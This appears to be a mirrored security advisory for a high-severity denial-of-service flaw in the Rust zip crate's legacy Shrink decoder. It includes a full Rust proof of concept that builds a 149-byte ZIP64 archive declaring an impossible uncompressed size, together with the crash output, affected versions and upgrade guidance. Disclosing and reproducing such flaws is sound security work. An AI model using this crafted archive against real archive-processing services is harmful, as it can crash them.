zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed sizeGHSA-9hj8-73fh-9963
HIGHFix: zip-rs/zip2#991GHSA-9hj8-73fh-9963 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in zip. A fix is available for zip — see the affected versions and patch details below.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-9hj8-73fh-9963 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 397,508 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
zipReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Details
When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
if !self.stream_read {
self.stream_read = true;
let mut compressed_bytes = Vec::new();
self.compressed_reader.read_to_end(&mut compressed_bytes)?;
self.stream.reserve(self.uncompressed_size as usize);
hwunshrink(
&compressed_bytes,
self.uncompressed_size as usize,
&mut self.stream,
)?;
}
In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.
self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.
The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
PoC
Create a new Cargo project with the following layout:
zip2-legacy-poc/
|-- Cargo.toml
`-- src/
`-- main.rs
Use this Cargo.toml:
[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false
[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }
Use this src/main.rs:
use std::fs::File;
use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push32(out: &mut Vec<u8>, value: u32) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push64(out: &mut Vec<u8>, value: u64) {
out.extend_from_slice(&value.to_le_bytes());
}
fn zip64_extra() -> Vec<u8> {
let mut extra = Vec::new();
push16(&mut extra, 0x0001);
push16(&mut extra, 16);
push64(&mut extra, u64::MAX);
push64(&mut extra, 1);
extra
}
fn archive() -> Vec<u8> {
let name = b"entry";
let extra = zip64_extra();
let mut out = Vec::new();
push32(&mut out, 0x0403_4b50);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
out.push(0);
let central_start = out.len() as u32;
push32(&mut out, 0x0201_4b50);
push16(&mut out, 45);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, 0);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
let central_size = out.len() as u32 - central_start;
push32(&mut out, 0x0605_4b50);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 1);
push16(&mut out, 1);
push32(&mut out, central_size);
push32(&mut out, central_start);
push16(&mut out, 0);
out
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
let bytes = archive();
File::create("poc.zip")?.write_all(&bytes)?;
let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
let entry = archive.by_index(0)?;
println!(
"method={:?} declared_size={}",
entry.compression(),
entry.size()
);
drop(entry);
let output = tempfile::tempdir()?;
archive.extract(output.path())?;
Ok(())
}
Run the reproducer in release mode:
cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release
Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:
method=Shrink declared_size=18446744073709551615
thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow
The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.
Impact
Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.
zip::read::ZipArchive::extract
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | zip | ≥ 5.1.0&&< 9.0.0 | 9.0.0cargo update -p zip --precise 9.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for zip, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update zip to 9.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9hj8-73fh-9963 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is GHSA-9hj8-73fh-9963 in your dependencies?
Find it across crates.io, including transitive dependencies.